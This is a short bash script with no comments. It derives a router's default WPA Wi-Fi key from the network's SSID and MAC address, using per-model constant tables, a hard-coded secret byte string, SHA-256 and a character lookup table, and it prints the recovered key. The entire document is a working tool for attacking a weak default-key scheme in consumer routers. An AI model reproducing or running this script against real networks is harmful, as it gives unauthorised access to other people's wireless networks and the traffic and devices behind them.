ssid="96154825"; mac="00238E010203" echo "Create Array..."; array96=( "69102" "13" "96017051" ); array93=( "69101" "13" "92398366" ); array56=( "67902" "13" "54808800" ); array55=( "67904" "8" "55164449" ); array54=( "67903" "8" "52420689" ); array48=( "67903" "8" "47896103" ); array46=( "67902" "13" "39015145" ); echo "Create Magic Numbers..."; alis="\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8"; echo "Create Conversion Table..."; conv_table="0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv""wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123"; echo "Input Configuration..."; echo "ssid = $ssid"; echo "mac = $mac"; mac2=$(echo "\x${mac:0:2}\x${mac:2:2}\x${mac:4:2}\x${mac:6:2}\x${mac:8:2}\x${mac:10:2}"); if [ -z $(eval echo \${array${ssid:0:2}[0]}) ]; then echo "Router not supported"; exit; else eval echo \${array${ssid:0:2}[*]}; sn1=$(eval echo \${array${ssid:0:2}[0]}); k=$(eval echo \${array${ssid:0:2}[1]}); q=$(eval echo \${array${ssid:0:2}[2]}); sn2=$((($ssid - $q) / $k)); echo $sn2; sn=$(echo $sn1\X00$sn2); echo $sn; fi; hash=$(busybox echo -en $alis$sn$mac2 | busybox sha256sum); echo $hash; for i in $(seq 1 24); do p=$(($i*2-2)); d=$(echo "${hash:$p:2}" | tr "[:lower:]" "[:upper:]"); e=$(echo "ibase=16; obase=A; $d" | bc); echo -n "$e = "; echo ${conv_table:$e:1}; wpa+=$(echo ${conv_table:$e:1}); done; echo ""; echo "WPA: $wpa"